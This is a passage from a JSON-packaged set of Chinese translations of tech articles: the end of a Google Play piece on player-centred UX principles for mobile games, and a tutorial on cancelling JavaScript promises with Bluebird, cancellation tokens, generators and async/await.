Long](https://twitter.com/seb_long)，[Harvey Owen](https://medium.com/@harvey_2330) 和 [Gareth Lloyd](https://medium.com/@garethlloyd)。\n\n![](https://cdn-images-1.medium.com/max/1000/1*LsuiN_0VYxDOVHYSuyDPKg.png)\n\n随着移动游戏的受众在全球范围内不断扩大。带来的结果是，开发者不仅要满足各种玩家的胃口，还要努力打造良好的用户体验来让自己的游戏从竞争激烈的市场中脱颖而出。这项挑战的复杂性在于不管您的初衷有多好，有时候移动游戏用户的体验还是会与设计的初衷相背离。在这里面有许多不易察觉并且植根于玩家本身的原因，而这些原因能解释为什么这些情况会发生。而其中最难以察觉的差异源于人们的内心；至于影响因素则例如，如您的玩家是怎样看待，如何了解，怎么感受以及是如何参与您的游戏这些影响因素。\n\n我们来自 [Player Research](http://www.playerresearch.com/)，是游戏测试以及用户研究方面的专家。Google Play 邀请我们利用我们评估过数以百计的游戏的经验，来建立一套可以帮助您为所有玩家创造一个引人入胜的，易于学习的，有益的游戏的原则。在评估中秉承这些原则可以帮你发现用户体验中的风险、瑕疵和未能达到设计预期的地方；在开发中遵守这几项原则能提高玩家的参与度和积极性，游戏也更容易上手，可玩性也会提高。当然，这需要在设计中使用一些心理学的技巧。\n\n这些原则和问题一起提出的目的，是为了您可以咨询您的受众，或是为了可以作为一个团队来讨论，还或是为了可以指导您开展让玩家参与的测试。也许这些问题算不上详细，但是它们应该能促使团队找出设计初衷与玩家体验之间的差异。\n\n我们将这些用户体验原则分成了两大主要领域：\n\n* **打破障碍**：通过遵循玩家如何看待，听闻，思考，参与游戏并与其相伴的方式，消除隐藏的“乐趣障碍”。\n* **构造体系**：通过设计一个可以学习的游戏帮助玩家理解，掌握和进步，并且能够清晰呈现出玩家理解程度的进度和深度。\n\n通过解决这些问题，您可以确保游戏中的挑战，挫折和困境都是预料之中的，而不是因为设计决策而产生的预料之外的结果。\n\n![](https://cdn-images-1.medium.com/max/800/1*JzehAQxovGnC1jSopxIZfA.png)\n\n### **打破障碍**\n\n**遵循玩家如何看待，听闻，思考，参与游戏并与其相伴的方式**\n\n第一大原则要求您考虑你的玩家生理和心理上的承受能力；以及您的玩家们能否将您的游戏看作他们日常生活的一部分来享受。那些不遵守这条原则的游戏很快就会被卸载。有些玩家，初次上手就立即有了挫折感或者迷惑感，又或者出现一些阻碍他们理解游戏的东西的话，他们应该不太可能再打开你的游戏了：**“我可能不太适合这款游戏”。**\n\n> **看一看你的游戏是如何欢迎新手的。不是说要让你必须对玩家的诉求百依百顺，不是说要让你必须降低游戏的挑战或是牺牲复杂度。有可能你的游戏本来就是硬核游戏，[但是] 重新思考一下这些问题何尝不是一个好主意呢。**\n>  —  Rami Ismail,Vlambeer([source](https://www.gamasutra.com/blogs/RamiIsmail/20121105/180905/An_argument_for_easy_achievements.php))\n\n#### **原则 1：适众的复杂**\n\n复杂度不仅仅是一些您放进游戏设计里的东西；还有玩家的感受，**复杂度产生于游戏设计和玩家能耐间的化学反应**。或许您可能非常精通您的游戏；但玩家的认知，运动和感知能力并不一定赶得上您。您的目标玩家 － 无论年龄或游戏经验如何 － 都会对游戏的复杂度有一个可接受的上限。除非在设计上就考虑到这些限度，否则游戏可能很快就会变得过于复杂或苛刻。\n\n设计适众复杂度意味着清楚谁是您的受众，了解他们跨功能域的**能力**，比如记忆力，注意力，语言能力和运动能力。这些功能域能够顺利地并行工作，使我们能够同时进行所有的日常任务，或者专注在某单一领域来解决全新的或特别苛刻的任务。但是，对任意单一领域的高要求都会导致降低在其他领域的能力；而对多个领域的高要求正中坏表现且难理解的游戏的下怀。所以，根据这些不同的领域来评估你游戏的需求。什么样的改变能够被作出以用来满足其需求？能在不影响核心游戏体验的情况下降低复杂度吗？\n\n通过理解玩家的能力和其需求之间的关系，游戏可以被设计成来适应任何目标受众。以下是一些您可以用来评估游戏适众复杂度的问题：\n\n一些有关您玩家的问题\n\n* 我们目标受众的视觉，运动和认知能力是怎么样的？\n* 我们的目标受众如何在语言和算术能力方面有所不同？\n\n一些问您团队的问题\n\n* 我们如何确保我们的游戏是易于上手的，并考虑过根据目标受众当前的视觉，运动和认知能力来提供最佳挑战？\n* 我们是否应该调整我们的游戏体验来适应不同能力间的差异\n* 我们应该多早让用户进入游戏来测试其体验？\n* 我们应该如何在游戏开发过程中避免“复杂多变的需求”？\n\n问问您的玩家\n\n* 在玩游戏时，您有过感到困惑的时候吗？\n* 在玩游戏时，您是否觉得自己拥有了所有您需要知道的信息？您知道在哪里找到它吗？\n* 您能告诉我如何在菜单中找到[功能]吗？您是否能够容易地使用菜单？\n* 您觉得这款游戏“对您的胃口“吗？这是针对您设计的吗？如果不是，那是针对谁设计的呢？\n\n#### **原则 2：灵活的设计**\n\n向着您的目标受众设计游戏是一个很好的开始。但是不管您做得多好，就拿您玩家的经验，偏好，和所处的环境来说，他们之间总会存在差异。**接受您目标受众中存在的差异与定义您的受众同样重要**。\n\n游戏是人们日常生活的一部分，所以在尽可能的情况下，应该将游戏设计得灵活一些以适应玩游戏的不同环境。真实世界里到处都是打断，不论你是否打开了设备。为了使您的游戏适合人们的生活，请您确保它支持灵活的游戏时间，可定制化的控制和视听设置，并可以适应碎片化的游戏节奏。\n\n比如，在 [炉石传说](https://play.google.com/store/apps/details?id=com.blizzard.wtcg.hearthstone) 中的内置功能可以应付长时间的暂离：\n\n> **那些离开了炉石传说一段时间的玩家回归后往往仍然认为自己很厉害，如果再次手把手地教他们游戏会让他们觉得浪费时间和你在侮辱他们的智商。取而代之的是，我们提供了一些快速弹出的窗口，让他们了解当前的游戏有哪些变化，以及一些独特的日常任务，来引导他们重回旅店。**\n>  — John Hopson，暴雪娱乐高级用户研究经理\n\n以下是一些可以帮助您评估游戏灵活性的问题：\n\n一些有关您玩家的问题\n\n* 我们的玩家何时何地在何种设备上玩游戏？\n* 哪些方面的内容可能会影响游戏性？\n* 我们预计的游戏时长和玩家**真实的**游戏时长相匹配吗？和他们的现实生活相协调吗？\n* 我们给予了足够的时间来感知和理解玩家的游戏反馈吗？\n\n一些问您团队的问题\n\n* 我们如何让玩家将他们的个性化体验应用在为他们的日常**偏好**和**功能**上，如提供视频和音频设置？\n* 我们需要将游戏设计成可中断式的吗？\n* 如何对待那些离开了很长时间后重返游戏的老玩家呢？\n* 操作游戏的方式是否科学合理，比如是否在双手持设备时再让他们用右手点击屏幕左上角的按钮？\n* 我们是否给予了玩家选择可以“挂机”，隐藏或关闭非核心游戏机制的功能呢？\n\n问问您的玩家\n\n* 在进行游戏时您被中断的频率是怎么样的？\n* 当您的游戏被中断后，再次返回游戏会发生什么呢？那是您期望发生的吗？如果不是，为什么呢？\n* 您改变过游戏的任何设置吗？\n* 你是否会希望关于游戏本身或其操作方式有任何改变呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*yi7pXoB8CGviwAURA6GLKg.png)\n\n### **构造体系**\n\n**帮助玩家理解，掌握和进步**\n\n在解决潜在的阻止游戏的障碍是很重要的同时，玩家的体验也扮演着将新进入游戏的玩家转变成老手和爱好者的角色。通过强调您游戏中的可学习性和各功能之间的关联性，您可以向玩家传授游戏知识和技巧，并且引导他们踏上您设计的游戏旅程。最终，他们会按照您设想的方式来进行游戏。\n\n#### **原则 3：＂熟悉＂的力量**\n\n玩家可以毫不费力地学习游戏的功能，前提是它们已经以某种方式被人们所熟知：比如某种体系或者大众标准，或者它们和现实世界是如出一辙的。玩家可以辨别出相似的通关策略，比如获得一定的评分后才能解锁进入下一环节。可以运用来自真实世界里广为人并且能轻易识别的影像和行为，比如拉动和发射弹弓。当以熟悉为本来设计游戏时，玩家可以对游戏元素，特性，或者交互行为进行有效的，启发性的猜测。\n\n熟悉也可以来自于内部的一致性。随着玩家花在游戏中的时间越来越多，其视觉表现也变得熟悉和可识别。将拥有一致性的图像，术语，颜色表现和游戏特性相关联，可以帮助玩家建立强大的游戏思维。保持这种一致性将有助于玩家预测游戏的新功能和特性，而省去明确地教导他们的步骤。\n\n> **当我们在设计 King 的用户体验时，理解和响应我们玩家的期望是最重要的。所有的产品都要有它们的背景，而我们的玩家已经发展到可以识别并且预测出移动游戏里答案板。秉承这些期望（并知道何时打破它们！）帮助我们创造令人愉悦的游戏体验，玩家可以用最小的认知代价来专注于乐趣。**\n>  — Caitlin Goodale，用户体验设计师，[King](https://play.google.com/store/apps/dev？id=6577204690045492686)\n\n一些有关您玩家的问题\n\n* 玩家对关于游戏机制的规范和期望是什么？\n\n一些问您团队的问题\n\n* 用户界面是否与玩家现有的心智模式一致？\n* 如何通过我们玩家的**真实世界知识**来使得我们的游戏机制，特性和交互更加直观和更加易于理解？\n* 如何通过保持**我们游戏的其他方面**的一致性来使得我们的游戏机制，特性和交互更加直观和更加易于理解？或者我们玩家玩过的**别人的游戏** ？\n* 我们能够确保我们的图像和术语是独特的并且可以快速识别的吗？\n\n问问您的玩家\n\n* 您认为这些图标初看之下是什么意思呢？\n* 在您的预想中这项特性是如何工作的呢？\n* 这个特性是否达到了您的预期呢？如果没有，为什么呢？\n* 游戏中有任何事情没能够按照您预期的那样运作吗？\n* 这些个特性您有在其他游戏中瞧见吗？\n\n#### **原则 4：适当的帮助**\n\n新玩家往往是抱着试试看的心态来接触一款游戏的，即使他们并没有完全理解它。积极主动的玩家则一般会通过进行游戏，不断摸索和试错体验来学习游戏之道。\n\n但是通过自主探索来获得有效的游戏之道是有代价的；由于玩家在不知不觉地随时与游戏进行着交互，所以全面的反馈系统和保护措施是必须的。为了学习游戏之道，玩家需要全面的，有关联的和及时的反馈，来让他们了解其行为对游戏世界的影响。\n\n当玩家处在安全的环境中时，通过自主发现学习如何游戏才会更加有效。这里应该注重的是实践，也许可以通过适当的“分块”游戏概念来使游戏进入平易近人的试错阶段。并且它也应该允许玩家从错误中恢复到正常状态，无论是通过游戏机制还是其他方式 － 比如在学习如何游戏时，慷慨地尽早提供资源或者提供选项来使得玩家可以撤销其操作。\n\n玩家感到困惑或者只是单纯想要了解更多时，也可以提供一些额外的信息：“获取更多“的帮助提示，“信息“按钮，甚至是全面的游戏手册或是客户支持的联系信息。然而，需要尽量避免依靠这些方法作为玩家理解您游戏的唯一途径。尽管每个游戏的上手攻略都不尽相同，但是最好通过让玩家在进行游戏的过程中来学习如何游戏。\n\n一些有关您玩家的问题\n\n* 您的玩家更可能通过探索游戏来学习还是者更可能通过依靠帮助来学习？\n\n一些问您团队的问题\n\n* 向玩家提供帮助支持信息的理想时间和地点是什么？\n* 玩家会在我们的游戏中制造出什么不应该的错误，我们如何巧妙地保护他们免受这样的负面体验？\n* 我们的玩法反馈如何更好地向玩家传达其对游戏世界的影响？\n\n问问您的玩家\n\n* 您有没有犯过任何您无法从其中恢复正常的错误？如果是这样，发生了什么？\n* 您倾向于自己去弄清楚如何玩这些游戏吗？您能在这个游戏中做到吗？\n* 在玩游戏时，您有没有在游戏中看到过任何帮助信息？你有没有听取它们的意见呢？它们起作用了吗？\n* 您有没有进一步地去寻求一些如何进行游戏的帮助或信息？您期望在哪里找到这些信息呢？\n* 您有觉得自己有知道自己在游戏里的表现是优秀还是差劲吗？\n\n#### **原则 5：精简的教程**\n\n![](https://cdn-images-1.medium.com/max/600/1*b5AAnrLnYQWCn-QJGEVLSw.png)\n\n在基于玩家直觉，熟悉度和试错体验的教学方法都无效的情况下，游戏就需要自己来清楚地来解释自己。教程，文字提示，和“点击下一步“的方法是比较常见的教学方法。\n\n过度依赖教程来让玩家记忆大量的东西很可能会压跨玩家，或是因为其死板的体验让玩家窒息。然而，在缺乏其他让玩家学习如何进行游戏的方法的情况下，教程的缺失很可能带来玩家的流失。\n\n游戏测试和迭代设计有助于为您的受众确定“金发姑娘原则”教程：适度的来教导您的玩家关于您游戏的基本概念和特性，同时通过熟悉度，直觉和一些协助来平衡学习成本。\n\n一些有关您玩家的问题\n\n* 你的玩家是否可能对教程特别有抵触情绪？\n\n一些问您团队的问题\n\n* 我们的 UI 是否准确地向玩家传达了游戏本身？\n* 玩家是否可以识别我们游戏的玩法反馈，并且能够按照我们的想法做出回应？\n* 哪些领域需要更多或更少的教程？\n* 我们尽了最大限度的努力来教导玩家（例如通过加载屏幕，暂停菜单，菜单交互，视频或过场动画）吗？\n* 我们是否在正确的地方使用了教程？\n\n问问您的玩家\n\n* 在学习新游戏的过程中，教程是否让您感觉自在？\n* 你觉得游戏中的教程会显得愚蠢吗？是否有时候您会更喜欢自己来学习如何游戏？\n* 您能理解每一个教程吗？您有没有设法去快速地学习它想教您什么？\n\n#### **原则 6： 清晰的深度**\n\n一旦您的玩家具备了基础知识，然后呢？\n\n明确的目标给予了玩家游戏的意义，游戏过程中要努力的事情，以及重返游戏的理由。通过游戏的体系和其**元游戏**的深度—游戏信心的培养，奖励机制和鼓励留存，来传达游戏的目的。\n\n向玩家传达一个更深的元游戏如何关联到核心游戏体系往往是一个挑战，而结果通常是由两者之间的脆弱的，抽象的关系来决定的。许多游戏依靠熟悉的机制来向传达其基本体系和游戏进展，比如“收集到3颗星“和“完成上一等级才能继续冒险“。\n\n奖励也可以用来表现元游戏系统；但是就像游戏目标一样，它们需要被玩家清楚地理解。一个被误解的奖励可能会混淆而不是加强玩家对游戏进展的理解。\n\n来自其他地方的玩家也可以提供游戏深度的来源，并有可能是一个无尽的元游戏。社交互动和玩家之间的竞争 — 通过排行榜，玩家对玩家，合作模式，“家族“，社交分享或者仅仅只是聊天 — 可以让玩家以不可思议的方式参与其中，这可能是一个潜在的有无限的深度的来源。然而，这些方法可能难以实施：不仅是因为涉及技术上的要求，而是在于多人模式和社交互动应该怎么样来补充游戏的单机内容和机制。\n\n这些亟待解决的 UX 问题不仅富有挑战性并且还很严重，因为一款牛逼的元游戏意味着受众的长期参与。有效地表现元游戏系统将确保玩家可以对游戏中的购买行为做出自信且明智的决定，并增加在玩家卸载之前花费更多游戏时间的可能性。免费模式之外也是如此：一款好的元游戏意味着有可能又一位被您后续运营所俘获的玩家。\n\n一些有关您玩家的问题\n\n* 您的玩家是否会选择有长期目标的游戏？\n* 玩家会在多大程度上因为其社交属性来寻找这种类型的游戏？他们是想和其他玩家一起玩呢还是对抗其他玩家呢？\n\n一些问您团队的问题\n\n* 我们是否以可理解的方式提出了长期目标？\n* 我们如何有意义地传达其他真实玩家的存在以及如何让多人模式和社交互动融入我们的元游戏？\n* 我们如何加强游戏进程和元游戏进程之间的关系？\n* 哪些功能旨在让玩家重新回到游戏中，并且在用户的首次体验中向其呈现了有意义的内容？\n\n问问您的玩家\n\n* 您如何在这款游戏中取得进展？\n* 您现在想在这个游戏中做什么？\n* 在这个游戏中您需要做什么（从长远来看）？\n* 您如何在这款游戏中变得更好？\n* 这个游戏会变得更困难吗？\n* 您能在这个游戏中与其他人互动吗？感觉如何？\n* 您能够在这个游戏中买什么东西？您可以买东西来帮助您吗？\n* 您在这个游戏中花钱买了什么东西吗？您如何才能得到更多呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*86fbAfv5Zjh3ubVCxIP-QA.png)\n\n### **划重点**\n\n**正确地平衡**\n\n我们已经讨论过几种可以让游戏变得直观易懂而不增加其复杂度的方法。但是，请记住，没有人想要一个无聊的，没有新意的，无趣的游戏。成功的游戏挑战着玩家，并为他们提供成就感。\n\n作为富有创造力的游戏开发者，您可以以有趣的名义忽略任何这些原则。许多成功的游戏有着复杂的视觉性，尴尬的控制，不熟悉的游戏世界等等。在某些情况下，故意设置的复杂性和不愉快可能成为游戏独有的“挑战来源”。\n\n然而，对这些原则的忽视（或认为其只是假设）会增加您的游戏存在无意义障碍的风险，并会给玩家的体验增加意想不到的不愉快。简而言之：明智地选择您的战斗，并确保您的游戏只会按照您想要的方式来展现。\n\n我们希望将这些以玩家为中心的设计原则融入您的开发讨论中将有助于出您设计的游戏体验符合预期。从这些视觉，运动，认知上以及和在对根本的人性化设计思考后来进行仔细和深思熟虑的实验将增加玩家找到您为他们所创造的乐趣的机会，并让他们回到游戏中来以得到更多。\n\n在将来的文章中，我们将分享我们与那些将这些原则应用于他们的游戏设计中的游戏开发者所合作的结果。\n\n* * *\n\n**您觉得怎样？**\n\n你有没有想过去设计游戏的用户体验以及人为因素是如何影响游戏玩家的行为的？在文章下面留言或者 twitter 中添加 **#AskPlayDev** 标签后发言，我们会通过 @GooglePlayDev（我们会在那里展示在 Google 应用商店获得成功的窍门）回复。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/how-to-cancel-your-promise.md",
    "content": "> * 原文地址：[How to Cancel Your Promise](http://blog.bloomca.me/2017/12/04/how-to-cancel-your-promise.html)\n> * 原文作者：[Seva Zaikov](http://blog.bloomca.me/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-cancel-your-promise.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-cancel-your-promise.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[kangkai124](https://github.com/kangkai124) [hexianga](https://github.com/hexianga)\n\n# 如何取消你的 Promise\n\n在 JavaScript 语言的国际标准 ECMAScript 的 ES6 版本中，引入了新的异步原生对象 [Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)。这是一个非常强大的概念，它使我们可以避免臭名昭著的 [回调陷进](http://callbackhell.com/)。例如，几个异步操作很容易写成下面这样的代码：\n\n```\nfunction updateUser(cb) {\n  fetchData(function(error, data) => {\n    if (error) {\n      throw error;\n    }\n    updateUserData(data, function(error, data) => {\n      if (error) {\n        throw error;\n      }\n      updateUserAddress(data, function(error, data) => {\n        if (error) {\n          throw error;\n        }\n        updateMarketingData(data, function(error, data) => {\n          if (error) {\n            throw error;\n          }\n\n          // finally!\n          cb();\n        });\n      });\n    });\n  });\n}\n\n```\n\n正如你所看到的，我们嵌套了几个回调函数，如果想要改变一些回调函数的顺序，或者想同时执行一些回调函数，我们将很难管理这些代码。但是，通过 Promise，我们可以将其重构为可读性更好的版本：\n\n```\n// 我们不再需要回调函数了 – 只需要使用 then 方法\n// 处理函数的返回结果\nfunction updateUser() {\n  return fetchData()\n    .then(updateUserData)\n    .then(updateUserAddress)\n    .then(updateMarketingData);\n}\n\n```\n\n这样的代码不仅更简洁，可读性更强，而且可以轻松切换回调的顺序，同时执行回调或删除不必要的回调（或者在回调链中间新增一个回调）。\n\n> 使用 Promise 链式写法的一个缺点是我们无法访问每个回调函数的作用域（或者其中未返回的变量），你可以阅读 Alex Rauschmayer 博士这篇 [a great article](http://2ality.com/2017/08/promise-callback-data-flow.html) 来解决这个问题。\n\n但是，我发现了 [这个问题](https://stackoverflow.com/questions/30233302/promise-is-it-possible-to-force-cancel-a-promise)，你不能取消 Promise，这是一个很关键的问题。有时你**需要**取消 Promise，你要构建变通的方法 — 工作量取决于你多长时间使用一次这个功能。\n\n## 使用 Bluebird\n\n[Bluebird](http://bluebirdjs.com/docs/getting-started.html) 是一个 Promise 实现库， 完全兼容原生的 Promise 对象, 并且在原型对象 Promise.prototype 上添加了一些有用的方法（译者注：扩展了原生 Promise 对象的方法）。在这里我们只介绍下 [cancel](http://bluebirdjs.com/docs/api/cancellation.html) 方法, 它部分实现了我们的想要的 — 当我们使用 `promise.cancel` 取消 Promise 时，它允许我们有自定义的逻辑(为什么是部分实现? 因为代码冗长还不通用).\n\n在我们的例子中，我们来看看如何使用 Bluebird 实现取消 Promise：\n\n```\nimport Promise from 'Bluebird';\n\nfunction updateUser() {\n  return new Promise((resolve, reject, onCancel) => {\n    let cancelled = false;\n\n    // 你需要更改 Bluebird 的配置，才能使用 cancellation 特性\n    // http://bluebirdjs.com/docs/api/promise.config.html\n    onCancel(() => {\n      cancelled = true;\n      reject({ reason: 'cancelled' });\n    });\n\n    return fetchData()\n      .then(wrapWithCancel(updateUserData))\n      .then(wrapWithCancel(updateUserAddress))\n      .then(wrapWithCancel(updateMarketingData))\n      .then(resolve)\n      .catch(reject);\n\n    function wrapWithCancel(fn) {\n      // promise resolved 的状态只需要传递一个参数\n      return (data) => {\n        if (!cancelled) {\n          return fn(data);\n        }\n      };\n    }\n  });\n}\n\nconst promise = updateUser();\n// 等一会...\npromise.cancel(); // 用户还是会被更新\n```\n\n正如你所看到的，我们在之前干净的例子中增加了很多代码。不幸的是，没有其他办法，因为我们不能停止执行一个随机的 Promise 链（如果我们想，我们需要把它包装到另一个函数中），所以我们需要用处理取消状态的函数包装每个回调函数。\n\n## 纯 Promises\n\n上面的技术并不是 Bluebird 的特别之处，更多的是关于接口 - 你可以实现你自己的取消版本，但需要额外的属性/变量。通常这种方法被称为`cancellationToken`，在本质上，它几乎和前一个一样，但不是在`Promise.prototype.cancel`上有这个方法，我们将它实例化在一个不同的对象 - 我们可以用`cancel`属性返回一个对象，或者我们可以接受额外的参数，一个对象，我们将在那里添加一个属性。\n\n```\nfunction updateUser() {\n  let resolve, reject, cancelled;\n  const promise = new Promise((resolveFromPromise, rejectFromPromise) => {\n    resolve = resolveFromPromise;\n    reject = rejectFromPromise;\n  });\n\n  fetchData()\n    .then(wrapWithCancel(updateUserData))\n    .then(wrapWithCancel(updateUserAddress))\n    .then(wrapWithCancel(updateMarketingData))\n    .then(resolve)\n    .then(reject);\n\n  return {\n    promise,\n    cancel: () => {\n      cancelled = true;\n      reject({ reason: 'cancelled' });\n    }\n  };\n\n  function wrapWithCancel(fn) {\n    return (data) => {\n      if (!cancelled) {\n        return fn(data);\n      }\n    };\n  }\n}\n\nconst { promise, cancel } = updateUser();\n// 等一会...\ncancel(); // 用户还是会被更新\n```\n\n这比以前的解决方案稍微冗长一点，但是它解决了同样的问题，如果你没有使用 Bluebird（或者不想在 Promise 中使用非标准的方法），这是一个可行的解决方案。正如你所看到的，我们改变了签名 - 现在我们返回对象而不是一个 Promise，但实际上我们可以传递一个对象参数给函数，并附上`cancel`方法（或者 Promise 的 monkey-patch 实例，但它也会在以后给你造成问题）。如果你只在几个地方有这个要求，这是一个很好的解决方案。\n\n## 切换到 generators\n\nGenerators 是 ES6 另一个新特性，但由于某些原因，它们并没有被广泛使用。使用前请想清楚 - 你团队中的新手会看不懂呢，还是全部成员都游刃有余呢？而且，它还存在于其他一些语言中，如 [Python](https://wiki.python.org/moin/Generators)，所以作为团队使用这个解决方案应该会很容易。\n\nGenerators 有它自己的文档, 所以我不会介绍基础知识，只是实现一个 Generator 执行器，这将允许我们以通用方式取消我们的 Promise，而不会影响我们的代码。\n\n```\n// 这是运行我们异步代码的核心方法\n// 并且提供 cancellation 方法\nfunction runWithCancel(fn, ...args) {\n  const gen = fn(...args);\n  let cancelled, cancel;\n  const promise = new Promise((resolve, promiseReject) => {\n    // 定义 cancel 方法，并返回它\n    cancel = () => {\n      cancelled = true;\n      reject({ reason: 'cancelled' });\n    };\n\n    let value;\n\n    onFulfilled();\n\n    function onFulfilled(res) {\n      if (!cancelled) {\n        let result;\n        try {\n          result = gen.next(res);\n        } catch (e) {\n          return reject(e);\n        }\n        next(result);\n        return null;\n      }\n    }\n\n    function onRejected(err) {\n      var result;\n      try {\n        result = gen.throw(err);\n      } catch (e) {\n        return reject(e);\n      }\n      next(result);\n    }\n\n    function next({ done, value }) {\n      if (done) {\n        return resolve(value);\n      }\n      // 假设我们总是接收 Promise，所以不需要检查类型\n      return value.then(onFulfilled, onRejected);\n    }\n  });\n\n  return { promise, cancel };\n}\n```\n\n这是一个相当长的函数，但基本上它（除了检查，当然这是一个非常初级的实现） - 代码本身将保持完全相同，我们将从字面上获取`cancel`方法！让我们看看如何在我们的例子中使用它：\n\n```\n// * 表示这是一个 Generator 函数\n// 你可以把 * 放到几乎任何地方 :)\n// 这种写法语法上和 async/await 很相似\nfunction* updateUser() {\n  // 假设我们所有的函数都返回 Promise\n  // 否则需要调整我们的执行器函数\n  // 去接受 Generator\n  const data = yield fetchData();\n  const userData = yield updateUserData(data);\n  const userAddress = yield updateUserAddress(userData);\n  const marketingData = yield updateMarketingData(userAddress);\n  return marketingData;\n}\n\nconst { promise, cancel } = runWithCancel(updateUser);\n\n// 见证奇迹的时刻\ncancel();\n```\n\n正如你所看到的，接口保持不变，但是现在我们可以选择在执行过程中取消任何基于 Generator 的函数，只需将其包装到合适的运行器中即可。缺点是一致性 - 如果它只是在你的代码中的几个地方，那么别人看你代码时会很困惑，因为你在代码中使用了所有可能的异步方法，这又是一个折中方案。\n\n我想，Generator 是最具扩展性的选择，因为你可以从字面上完成所有你想要的事情 - 如果出现某种情况，你可以暂停，等待，重试，或者运行另一个 Generator。但是，我并没有经常在 JavaScript 代码中看到他们，所以你应该考虑采用和认知负载 - 你真的有很多的它的使用场景吗？如果是，那么这是一个非常好的解决方案，你将来可能会感谢你自己。\n\n## 注意 async/await\n\n在 [ES2017](https://tc39.github.io/ecma262/2017/#sec-async-function-definitions) 版本提供了 async/await，你可以在 Node.js（[版本7.6](https://www.infoq.com/news/2017/02/node-76-async-await)之后）中没有任何标志的情况下使用它们。不幸的是，没有任何东西可以支持取消 Promise，而且由于 async 函数隐含地返回 Promise，所以我们不能真正感觉到它（附加一个属性或返回其他东西），只有 resolved/rejected 状态的值。这意味着为了使我们的函数可以被取消，我们需要传递一个对象，并将每个调用包装在我们著名的包装器方法中：\n\n```\nasync function updateUser(token) {\n  let cancelled = false;\n\n  // 我们不调用 reject，因为我们无法访问\n  // 返回的 Promise\n  // 我们不调用其它函数\n  // 在结束时调用 reject\n  token.cancel = () => {\n    cancelled = true;\n  };\n\n  const data = await wrapWithCancel(fetchData)();\n  const userData = await wrapWithCancel(updateUserData)(data);\n  const userAddress = await wrapWithCancel(updateUserAddress)(userData);\n  const marketingData = await wrapWithCancel(updateMarketingData)(userAddress);\n\n  // 因为我们已经包装了所有的函数，以防取消\n  // 不需要调用任何实际函数来达到这一点\n  // 我们也不能调用 reject 方法\n  // 因为我们无法控制返回的 Promise\n  if (cancelled) {\n    throw { reason: 'cancelled' };\n  }\n\n  return marketingData;\n\n  function wrapWithCancel(fn) {\n    return data => {\n      if (!cancelled) {\n        return fn(data);\n      }\n    }\n  }\n}\n\nconst token = {};\nconst promise = updateUser(token);\n// 等一会...\ntoken.cancel(); // 用户还是会被更新\n```\n\n这是非常相似的解决方案，但是因为我们没有直接在`cancel`方法中调用 reject，所以可能会使读者感到困惑。另一方面，它是现在语言的一个标准功能，具有非常方便的语法，允许你在后面使用前面调用的结果（所以在这里解决了 Promise 链式调用的问题），并且具有非常简明和直观的通过`try / catch`的错误处理。所以，如果取消不再困扰你（或者你可以用这种方式来取消某些东西），那么这个特性绝对是在现代 JavaScript 中编写异步代码的最好方式。\n\n## 使用 streams (就像 RxJS)\n\nStreams 是完全不同的概念，但实际上它的应用更广泛 [不仅在 JavaScript ](http://reactivex.io/)，所以你可以将其视为独立于平台的模式。和 Promie/Generator 相比，Streams 可能更好也可能更糟糕。如果你已经接触过它，并且使用它来处理过一些（或者所有的）异步逻辑，你会发现 Streams 更好，如果你没接触过，你会发现 Streams 更糟糕，因为它是完全不同的方法。\n\n我不是一个使用 Streams 的专家，只是使用过一些，我认为你应该使用它们来处理所有的异步事件，或者完全不使用它们。所以，如果你已经在使用它们，这个问题对你来说应该不是一件难事，因为这是 Streams 库的一个长期以来众所周知的特性。\n\n正如我所提到的，我没有足够的使用 Streams 的经验来提供使用它们的解决方案，所以我只是放几个关于 Streams 实现取消的链接：\n\n* [GitHub issue 解释](https://github.com/Reactive-Extensions/RxJS/issues/817#issuecomment-122729155)\n* [关于使用 * 方法的文章](https://medium.com/@benlesh/rxjs-dont-unsubscribe-6753ed4fda87)\n\n## 接受\n\n事情朝着好的方向发展 - fetch 将会新增 [abort](https://github.com/whatwg/fetch/issues/447) 方法，如何取消 Promise 在将来还会热议很长一段时间。取消 Promise 能够实现吗？可能会可能不会。而且，取消 Promise 对于许多应用程序来说不是至关重要的 - 是的，你可以提出一些额外的请求，但有一个以上的请求结果是非常罕见的。另外，如果发生一次或两次，则可以从一开始就使用扩展示例来解决这些特定函数。但是，如果你的应用程序中有很多这样的情况，请考虑一下上面列出的内容。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/how-to-communicate-hidden-gestures-in-mobile-app.md",
